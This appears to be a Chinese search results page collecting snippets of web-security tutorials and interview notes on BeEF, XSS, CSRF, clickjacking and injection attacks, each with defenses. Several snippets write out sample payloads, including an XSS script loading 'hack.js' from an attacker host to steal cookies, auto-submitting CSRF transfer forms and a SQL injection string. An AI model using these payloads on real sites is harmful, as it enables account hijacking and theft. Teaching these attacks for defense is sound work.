精华内容
下载资源
问答
  • 浏览器攻击框架BeEF

    2021-05-09 14:03:44
    浏览器攻击框架BeEF 同源策略 说到攻击浏览器,那么就一定要说同源策略(Same Origin Policy, SOP)。 同源策略是用于限制不同来源的资源之间的交互。在浏览器上定义了对于不同的页面,如果他们的主机名、协议和端口...

    浏览器攻击框架BeEF

    同源策略

    说到攻击浏览器,那么就一定要说同源策略(Same Origin Policy, SOP)。 同源策略是用于限制不同来源的资源之间的交互。在浏览器上定义了对于不同的页面,如果他们的主机名协议端口都相同,即为同源。来个例子:

    http://www.A.com/index.html 的js是不能读/写 http://www.B.com/index.html, https://www.A.com/index.html, http://www.A.com:8080/index.html 的内容。

    BeEF框架

    BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。这个框架也属于cs的结构,具体可以看下图:

    在这里插入图片描述

    zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

    参考自:浏览器攻击框架BeEF Part 1 - FreeBuf网络安全行业门户

    展开全文
  • 前端面试题之浏览器

    2021-01-25 14:23:38
    正确的标签包含了正确的内容,结构良好,方便阅读,如nav,footer,header Cookie防范XSS攻击 XSS=>跨站脚本攻击,攻击者在返回的HTML中嵌入js脚本 httponly这个属性防止js访问cookie secure这个属性告诉浏览器仅在请求为...

    什么是Event Loop

    简单说,就是在程序中设置两个线程:一个负责程序本身的运行,称为"主线程";另一个负责主线程与其他进程(主要是各种I/O操作)的通信,被称为"Event Loop线程"(可以译为"消息线程")。
    http://www.ruanyifeng.com/blogimg/asset/201310/2013102004.png
    上图主线程的绿色部分,还是表示运行时间,而橙色部分表示空闲时间。每当遇到I/O的时候,主线程就让Event Loop线程去通知相应的I/O程序,然后接着往后运行,所以不存在红色的等待时间。等到I/O程序完成操作,Event Loop线程再把结果返回主线程。主线程就调用事先设定的回调函数,完成整个任务。
    可以看到,由于多出了橙色的空闲时间,所以主线程得以运行更多的任务,这就提高了效率。这种运行方式称为"异步模式"(asynchronous I/O)或"非堵塞模式"(non-blocking mode)。

    http和https

    http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl加密传输协议。
    使用不同的链接方式,端口也不同,http是80端口 https是443端口
    HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全,可防止数据在传输过程中不被窃取、改变,确保数据的完整性。
    

    三次握手

    第一次握手

    客户主动去连接服务器,并且发送SYN,服务器被动打开
    

    第二次握手

    服务器接收到SYN,返回一个SIN和ACK给用户
    

    第三次握手

    用户接收到服务器返回的SYN和ACK后就可以开始发送数据了
    

    TCP和UDP的区别

    • TCP是面向连接的,UDP是无连接的即发送数据前不需要先建立连接

    • TCP提供可靠的服务,通过TCP连接传送的数据无差错,不丢失不重复且按次序到达,但是UDP不能保证。

    Cookie、localStorage、sessionStorage

    Cookie:cookie数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递。而sessionStorage和localStorage不会自动把数据发给服务器,仅在本地保存。
    sessionStorage:仅在当前浏览器窗口关闭前有效,自然也就不可能持久保持,localStorage:始终有效,窗口或浏览器关闭也一直保存,因此用作持久数据;cookie只在设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭。
    

    cookie与session的区别

    cookie存放在客户端,session存放在服务器
    

    cookie可以设置哪些字段

    name、value、domin(哪些域名可访问)、path(哪些路径可访问)、expires(过期时间)、http(true只有在http请求头中会带有此cookie的信息,而不能通过document.cookie来访问此cookie。)、secure 字段 设置是否只能通过https来传递此条cookie
    
    

    hash与history

    hash#后面的不会被传送给后端,也就是不会包含在HTTP请求中,改变hash不会重载页面
    而history就会
    

    跨域的解决方案

    cors 设置Access-Control-Allow-Origin为*
    代理服务器,只有浏览器是同源策略,设置代理服务器转发请求和响应
    

    事件冒泡与事件捕获

    事件冒泡:事件由最集体的元素接收,一路向上传播到不具体节点如body
    事件捕获:与事件冒泡相反
    

    缓存机制

    缓存分为两种:强缓存和协商缓存,根据响应的header内容来决定。
    强缓存如设置cookie过期时间expires
    强缓存相关字段有expires,cache-control。如果cache-control与expires同时存在的话,cache-control的优先级高于expires。
    
    

    get和post的区别

    get参数通过url传递,post参数放在requestbody中
    get更不安全,参数在url中暴露出来,且从参数有长度的限制
    

    如何画一个三角形

    // 高宽设置为0,border只让一边有颜色,其余都为transparent
    div {
    width:0px;
    height:0px;
    border-top:10px solid red;
    border-right:10px solid transparent;
    border-bottom:10px solid transparent;
    border-left:10px solid transparent;
    }
    

    回流与重绘

    回流:当render树的一部分或者全部因为大小边距等问题发生改变而需要重建的过程,叫做回流
    重绘:当诸如颜色背景等不会引起页面布局变化,而只需要重新渲染的过程叫做重绘
    

    浏览器输入URL到页面呈现的大体过程

    • 输入地址,发送到DNS服务器获取相应域名和web服务器
    • 与web服务器建立TCP连接
    • 浏览器向服务器发送HTTP请求
    • 服务器响应请求并返回数据
    • 浏览器下载数据解析资源并渲染页面

    http状态码

    • 200 ok请求成功,用于post和get请求
    • 400客户端语法错误,服务器无法处理
    • 404 服务器无资源
    • 500 服务器内部错误

    HTML5语义化标签

    正确的标签包含了正确的内容,结构良好,方便阅读,如nav,footer,header

    Cookie防范XSS攻击

    XSS=>跨站脚本攻击,攻击者在返回的HTML中嵌入js脚本

    httponly这个属性防止js访问cookie
    secure这个属性告诉浏览器仅在请求为https的时候发送cookie
    

    csrf跨站请求伪造

    用户在登录某网站的时候未退出去登录了hacker制做的网站,这是hacker就可以伪造用户去修改数据库
    解决方案:使用token
    

    viewport和移动端布局

    • 媒体查询
    • rem 根元素的font-size一般为16px
    • vw 1vw等于视图宽度的百分之一
    • 百分比

    常用DOM API

    节点查找API

    document.getElementById
    document.getElementByClassName
    document.getELementByTagName
    document.getElementByName //通过name属性查找
    document.querySelector //返回单个Node,如果匹配到多个,只返回第一个Node
    document.querySelectorAll //返回NodeList
    

    节点创建API

    createElemnt("div")
    

    节点修改API

    appendChild //parent.appendChild(child);
    removeChild //var deletedChild = parent.removeChild(node);  
    replaceChild //parent.replaceChild(newChild, oldChild);  
    insertBefore
    

    节点关系API

    parentNode
    child //子节点
    childNodes所有的
    
    展开全文
  • 跨站脚本攻击是指通过存在安全漏洞的 Web 网址注册用户的浏览器内运行非本站点 HTML 或 JavaScript 进行的一种攻击 跨站脚本攻击可以造成以下影响: 利用虚假输入表单骗取用户个人信息 利用脚本窃取用户的 ...

    XSS

    Cross Site Scripting(跨站脚本攻击),因为缩写和 CSS 重叠,所以改叫 XSS。跨站脚本攻击是指通过存在安全漏洞的 Web 网址注册用户的浏览器内运行非本站点 HTML 或 JavaScript 进行的一种攻击

    跨站脚本攻击可以造成以下影响:

    • 利用虚假输入表单骗取用户个人信息

    • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求

      显示伪造的文章或图片

    XSS 攻击分类

    反射型 XSS

    • 反射型:url 参数直接注入

      URL 注入非法脚本,然后发送给受害用户

      服务端返回的富文本中包含非法脚本,被直接展示

    反射型 XSS 攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码
    2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器
    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    <!-- 普通 -->
    http://localhost:3000/?from=china
    
    <!-- alert尝试 -->
    http://localhost:3000/?from=<script>alert(3)</script>
    
    <!-- 获取Cookie -->
    http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
    
    <!-- 伪造cookie入侵 -->
    document.cookie="..."
    

    存储型 XSS

    • 存储型:存储到 DB 后读取时注入

      发帖中发出包含恶意代码的内容,其它用户访问到该内容后,满足特定条件即触发

      后台不过滤信息,并且前端展示时也不过滤信息

    存储型 XSS 的攻击步骤:

    1. 攻击者将恶意代码提交到目标网站的数据库中
    2. 用户打开网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器
    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    <!-- 评论 -->
    <script>alert(1)</script>
    
    <!-- 跨站脚本注入 -->
    <script src="http://localhost:4000/hack.js"></script>
    

    DOM 型 XSS

    • DOM型:基于 DOM 或本地的 XSS 攻击

      wifi 流量劫持、DNS 劫持,并且直接返回钓鱼页面

    DOM 型 XSS 其实是一种特殊类型的反射型 XSS,通过 JS 操作 DOM 树 动态地 输出数据到页面,而不依赖于将数据提交给服务器端,它是基于 DOM 文档对象模型的一种漏洞

    DOM 型 XSS 的攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码
    2. 用户打开带有恶意代码的 URL
    3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
    <script>
    document.write("<script>alert(0)<\/script>")
    eval(location.hash.substr(1))
    </script>
    

    区别

    反射型 XSS 跟存储型 XSS 区别:

    • 存储型 XSS 的恶意代码存在数据库里
    • 反射型 XSS 的恶意代码存在 URL 里

    DOM 型 XSS 和前两种 XSS 区别:

    • DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞
    • 其他两种 XSS 都属于服务端的安全漏洞

    攻击危害

    • 盗取用户 Cookie
    • 钓鱼攻击
    • 偷取网站的任意数据
    • 偷取用户的资料
    • 偷取用户的秘密和登录态
    • 删除目标文字、恶意篡改数据、嫁祸
    • 劫持用户 Web 行为,进一步渗透内网
    • 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据

    防范手段

    HEAD

    0:禁止 XSS 过滤

    1:启用 XSS 过滤(通常浏览器是默认的)。如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)

    ctx.set('X-XSS-Protection', 1)
    

    CSP

    内容安全策略(CSP, Content Security Policy)是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途

    CSP 本质就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击

    // 只允许加载本站资源
    ctx.set('Content-Security-Policy', "default-src 'self'")
    // 只允许加载 HTTPS 协议图片
    ctx.set('Content-Security-Policy', 'img-src https://*')
    // 不允许加载任何来源框架
    ctx.set('Content-Security-Policy', "child-src 'none'")
    

    转义字符(过滤)

    • 输入处理:用户输入、URL 参数、POST 请求参数、Ajax
    • 输出处理:转为实体名称
    <% code %> 用于执行其中JavaScript代码
    <%= code %> 会对code进行html转义
    <%- code %> 不会进行转义
    
    • 黑名单

      用户的输入永远不可信任,最普通的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

      把显示结果转为实体名称

    function escape(str) {
      str = str.replace(/&/g, '&amp;')
      str = str.replace(/</g, '&lt;')
      str = str.replace(/>/g, '&gt;')
      str = str.replace(/"/g, '&quto;')
      str = str.replace(/'/g, '&#39;')
      str = str.replace(/`/g, '&#96;')
      str = str.replace(/\//g, '&#x2F;')
      return str
    }
    
    • 白名单

      对于富文本来说,显然不能通过上面办法转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的方法

      **对用户的输入进行合理的验证,对特殊字符(如:<、>、"、"等)**以及 <script> 、javascript 等进行过滤

    编程语言解决方案:

    HttpOnly

    这是预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息

    # node
    app.use(session({ httpOnly: true }, app))
    # java
    cookie.setHttpOnly(true)
    # python
    tools.sessions.httponly = True
    # php
    session.cookie_httponly = 1
    

    DOM 型注意

    在使用 innerHTMLouterHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插入页面上,而应尽量使用 .textContentsetAttribute()

    如果使用 Vue 或 React 技术栈,并不适用 v-html / dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患

    <script> 
    // setTimeout()/setInterval() 中调⽤恶意代码
    setTimeout("UNTRUSTED")
    setInterval("UNTRUSTED")
    // location 调⽤恶意代码
    location.href = 'UNTRUSTED'
    // eval() 中调⽤恶意代码
    eval("UNTRUSTED") 
    </script>
    

    对于不信任的输入,都应该限定一个合理的长度

    CSRF

    CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见 Web 攻击,它利用用户已登录的身份,在用户毫不知情的情况下,已用户的名义完成非法操作

    CSRF 攻击流程:

    • 受害者登录 a.com,并保留了登录凭证(Cookie)
    • 攻击者引诱受害者访问了 b.com
    • b.coma.com 发送了一个请求:a.com/act=xxx 浏览器会默认携带 a.com 的 Cookie
    • a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误认为是受害者自己发送的请求
    • a.com 以受害者的名义执行了 act=xxx
    • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作
    <!-- GET 请求 -->
    <img src="http://127.0.0.1:9000/transfer?to_user=jack&money=2000" width="500" height="300" />
    
    <!-- POST 请求 -->
    <iframe style="display: none" name="csrf-frame" />
    <form method="POST" action="http://127.0.0.1:9000/transfer" target="csrf-frame" id="csrf-form" >
      <input type="hidden" name="to_user" value="hack01" />
      <input type="hidden" name="money" value="2000" />
      <input type="submit" value="submit" />
    </form>
    <script>document.getElementById("csrf-form").submit()</script>
    

    CSRF 攻击危害

    • 利用用户登录态
    • 用户不知情
    • 完成业务需求
    • 盗取用户资金(转账、消费)
    • 冒充用户发帖背锅
    • 损害网站声誉

    防范手段

    CSRF 两个特点:

    • CSRF(通常)发生在第三方域名

      阻止不明外域的访问(同源检测、Samesite Cookie)

    • CSRF 攻击者不能获取到 Cookie 等信息,只是使用

      提交时要求附加本域才能获取的信息(CSRF Token、双重 Cookie 验证)

    cookie 的应用场景:

    • 自动登录
    • 电商购物车功能
    • 记录用户登录网址的次数
    • 商品浏览记录

    防范手段:

    • 验证码

    • 同源检测 验证 Referer

      HTTP 协议头中有一个字段叫 referer,记录了该 HTTP 请求的来源地址

      Https 不发生 referer

      app.use(async (ctx, next) => {
          await next()
          const referer = ctx.request.header.referer
          console.log('Referer:', referer)
      })
      

      比如:转账的操作一定是用户登陆之后在本站点的页面上操作的,因此可以讲 Referer 字段限制为只允许本站点

    • Anti CSRF Token

      所有用户请求都携带一个 CSRF 攻击者无法获取到的 Token。服务器通过校验请求是否携带正确 Token,来把正确请求和攻击的请求区分开

      <meta name="csrf-token" content="..." />
      

      确保 token 的保密性和随机性

    • cookie 双重验证

      CSRF 成功的原因在于站点对于用户身份的辨别依赖于 Cookie,因此攻击者可以在不知道用户口令的情况下直接使用用户的 Cookie 来通过安全验证

    Samesite Cookie 属性

    • Samesite=Strict:严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie
    • Samesite=Lax:宽松模式,比 Strict 放宽了点限制,假如这个请求是这个请求且是个 GET 请求,则这个 Cookie 可以作为第三方 Cookie

    注意:这个可以解决 某些 Cookie 滥用推荐的“SameSite“属性 问题

    Cookies.set('lang', lang, {
      sameSite: 'Strict'
    })
    

    点击劫持 clickjacking

    点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面透出一个按钮诱导用户点击

    • DNS 劫持:(输入京东被强制跳转到淘宝,这就属于 DNS 劫持)

      DNS 强制解析:通过修改运营商的本地 DNS 记录,来引导用户流量到缓存服务器

      302 跳转的方式:通过监控网络出口的流量,分析判断哪些内容是可以进行劫持处理的,再对劫持内存发起 302 跳转的回复,引导用户获取内容

    • HTTP 劫持:(访问谷歌但是一直有贪玩蓝月的广告)由于 http 明文传输,运营商会修改你的 http 响应内容(即加广告)

    防范手段

    • 最有效的方法就是全站 HTTPS,即 HTTP 加密,这使得运营商无法获取明文,就无法劫持你的响应内容

    • X-FRAME-OPTIONS

      X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头就是为了防御用 iframe 嵌套的点击劫持

      改响应头有三个值可选,分别是:

      • DENT :页面不允许通过 iframe 的方式展示
      • SAMEORIGIN :页面可以在相同域名下通过 iframe 的方式展示
      • ALLOW-FROM :页面可以在指定来源的 iframe 中展示
      ctx.set('X-FRAME-OPTIONS', 'DENY')
      

    SQL 注入

    SQL 注入发生于 应用程序与数据库层 的安全漏洞

    # 填入特殊密码
    1'or'1'='1
    
    # 拼接后的SQL
    SELECT *
    FROM test.user
    WHERE username = 'bird'
    AND password = 1'or'1'='1
    

    攻击危害

    • 猜解后台数据库,盗取网站敏感信息
    • 绕过验证登录网站后台
    • 借助数据库的存储过程进行提权等操作

    防范手段

    • 严格限制 Web 应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
    • 后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理
    • 对进入数据库的特殊字符('、"、\、<、>、&、*、; 等),或编码转换。基本上所有的后端语言都有对字符串进行转义处理的 方法,比如 lodash 的 lodash._escapehtmlchar
    router.post('/login', async (ctx) => {
        const { username, password } = ctx.request.body
        const sql = `
        SELECT *
        FROM test.user
        WHERE username = ?
        AND password = ?
        `
        res = await query(sql, [username, password])
        }
    });
    

    其他注入

    OS 命令注入

    OS 命令注入和 SQL 注入差不多,只不过 SQL 注入是针对数据库的,而 OS 命令注入是针对操作系统的

    // 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 repo
    const exec = require('mz/child_process').exec;
    let params = {/* ⽤户输⼊的参数 */};
    exec(`git clone ${params.repo} /some/path`);
    

    DDOS

    distributed denial of service,DDOS 不是一种攻击,而是一大类攻击的总称。其中,比较常见的一种攻击是 cc 攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机

    • SYN Flood

      此攻击通过向目标发送具有可欺骗性源 IP 地址的大量 TCP “初始连接请求” SYN 数据包来利用 TCP 握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源

    • HTTP Flood

      此攻击类似于同时在多个不同计算机上反复按 Web 浏览器中的刷新(大量 HTTP 请求泛滥服务器,导致拒绝服务)

    防御手段

    • 备份网站
    • HTTP 请求拦截 高防 IP
    • 宽带扩容 + CDN
    展开全文
  • 一、是什么Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为如植入恶意代码,修改网站权限,获取网站用户隐私信息等等Web应用程序的安全性是任何基于Web业务...

    一、是什么

    Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为

    如植入恶意代码,修改网站权限,获取网站用户隐私信息等等

    Web应用程序的安全性是任何基于Web业务的重要组成部分

    确保Web应用程序安全十分重要,即使是代码中很小的 bug 也有可能导致隐私信息被泄露

    站点安全就是为保护站点不受未授权的访问、使用、修改和破坏而采取的行为或实践

    我们常见的Web攻击方式有

    • XSS (Cross Site Scripting) 跨站脚本攻击

    • CSRF(Cross-site request forgery)跨站请求伪造

    • SQL注入攻击

    二、XSS

    XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中

    XSS涉及到三方,即攻击者、客户端与Web应用

    XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互

    举个例子:

    一个搜索页面,根据url参数决定关键词的内容

    <input type="text" value="<%= getParameter("keyword") %>">
    <button>搜索</button>
    <div>
      您搜索的关键词是:<%= getParameter("keyword") %>
    </div>
    

    这里看似并没有问题,但是如果不按套路出牌呢?

    用户输入"><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

    <input type="text" value=""><script>alert('XSS');</script>">
    <button>搜索</button>
    <div>
      您搜索的关键词是:"><script>alert('XSS');</script>
    </div>
    

    浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行,试想一下,如果是获取cookie发送对黑客服务器呢?

    根据攻击的来源,XSS攻击可以分成:

    • 存储型

    • 反射型

    • DOM 型

    存储型

    存储型 XSS 的攻击步骤:

    1. 攻击者将恶意代码提交到目标网站的数据库中

    2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器

    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等

    反射型 XSS

    反射型 XSS 的攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码

    2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器

    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行

    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

    反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

    由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

    POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见

    DOM 型 XSS

    DOM 型 XSS 的攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码

    2. 用户打开带有恶意代码的 URL

    3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行

    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞

    XSS的预防

    通过前面介绍,看到XSS攻击的两大要素:

    • 攻击者提交而恶意代码

    • 浏览器执行恶意代码

    针对第一个要素,我们在用户输入的过程中,过滤掉用户输入的恶劣代码,然后提交给后端,但是如果攻击者绕开前端请求,直接构造请求就不能预防了

    而如果在后端写入数据库前,对输入进行过滤,然后把内容给前端,但是这个内容在不同地方就会有不同显示

    例如:

    一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 < 7

    在客户端中,一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 < 7 )

    在前端中,不同的位置所需的编码也不同。

    • 5 < 7 作为 HTML 拼接页面时,可以正常显示:

    <div title="comment">5 &lt; 7</div>
    
    • 5 < 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等

    可以看到,过滤并非可靠的,下面就要通过防止浏览器执行恶意代码:

    在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute()

    如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患

    DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免

    <!-- 链接内包含恶意代码 -->
    <a href="UNTRUSTED">1</a>
    
    <script>
    // setTimeout()/setInterval() 中调用恶意代码
    setTimeout("UNTRUSTED")
    setInterval("UNTRUSTED")
    
    // location 调用恶意代码
    location.href = 'UNTRUSTED'
    
    // eval() 中调用恶意代码
    eval("UNTRUSTED")
    

    三、CSRF

    CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求

    利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目

    一个典型的CSRF攻击有着如下的流程:

    • 受害者登录a.com,并保留了登录凭证(Cookie)

    • 攻击者引诱受害者访问了b.com

    • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie

    • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求

    • a.com以受害者的名义执行了act=xx

    • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作

    csrf可以通过get请求,即通过访问img的页面后,浏览器自动访问目标地址,发送请求

    同样,也可以设置一个自动提交的表单发送post请求,如下:

    <form action="http://bank.example/withdraw" method=POST>
        <input type="hidden" name="account" value="xiaoming" />
        <input type="hidden" name="amount" value="10000" />
        <input type="hidden" name="for" value="hacker" />
    </form>
    <script> document.forms[0].submit(); </script> 
    

    访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

    还有一种为使用a标签的,需要用户点击链接才会触发

    访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

    <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
        重磅消息!!
    <a/>
    

    CSRF的特点

    • 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生

    • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据

    • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”

    • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪

    CSRF的预防

    CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性

    防止csrf常用方案如下:

    • 阻止不明外域的访问

      • 同源检测

      • Samesite Cookie

    • 提交时要求附加本域才能获取的信息

      • CSRF Token

      • 双重Cookie验证

    这里主要讲讲token这种形式,流程如下:

    • 用户打开页面的时候,服务器需要给这个用户生成一个Token

    • 对于GET请求,Token将附在请求地址之后。对于 POST 请求来说,要在 form 的最后加上

    <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>
    
    • 当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性

    四、SQL注入

    Sql 注入攻击,是通过将恶意的 Sql查询或添加语句插入到应用的输入参数中,再在后台 Sql服务器上解析执行进行的攻击

    流程如下所示:

    • 找出SQL漏洞的注入点

    • 判断数据库的类型以及版本

    • 猜解用户名和密码

    • 利用工具查找Web后台管理入口

    • 入侵和破坏

    预防方式如下:

    • 严格检查输入变量的类型和格式

    • 过滤和转义特殊字符

    • 对访问数据库的Web应用程序采用Web应用防火墙

    上述只是列举了常见的web攻击方式,实际开发过程中还会遇到很多安全问题,对于这些问题, 切记不可忽视

    参考文献

    • https://tech.meituan.com/2018/09/27/fe-security.html

    • https://developer.mozilla.org/zh-CN/docs/learn/Server-side/First_steps/Website_security


    -- The End --

    系列正在更新:33/33

    点击下方卡片解锁更多

    创作不易,星标、点赞、在看 三连支持

    展开全文
  • 一、 什么是web攻击 Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为 如植入恶意代码,修改网站权限,获取网站用户隐私信息等等 Web应用程序的安全性是任何基于Web业务的重要组成部分 确保...
  • 聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队上周,谷歌发布旨在利用臭名昭著的 Spectre 漏洞并从 web 浏览器泄露信息的 PoC 代码。Spectre 漏洞最初在...
  • [多选] Web从web服务器方面和浏览器方面受到的威胁主要来自()。更多相关问题[多选] 多天线技术中,主要的增益包括:()[多选] 关于LTETDD帧结构,哪些说法是正确的()[多选] 参考信号的正交性可以通过下列方法实现:()...
  • 前言 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,特别是...浏览器安全可以分为三大块:Web页面安全、浏览器网络安全、浏览器系统
  • XSS攻击XSS(Cross Site Script)跨站脚本攻击,指的是向网页注入恶意代码,并对网页进行篡改。在用户浏览时,从而获取用户隐私数据的一种攻击方式。一般为 JavaScript 。窃取 Cookie 信息,模拟用户进行登录,然后...
  • 1.搭建GustBook网站 选择路径: 后面的权限直接给满就好。 2.用AWVS扫描目标网站,发现其漏洞 3.使用beef生成恶意代码 安装:apt-get install beef-xss ...在beef控制被劫持主机浏览器跳转到目标
  • 前端面经 浏览器是如何渲染页面的? 渲染的流程如下: ...自上而下,遇到任何样式(link、style)与脚本(script)都会阻塞(外部样式不阻塞后续外部脚本的加载)。...Cookie如何防范XSS攻击? XSS(跨站
  • 浏览器模块

    2021-08-15 23:30:35
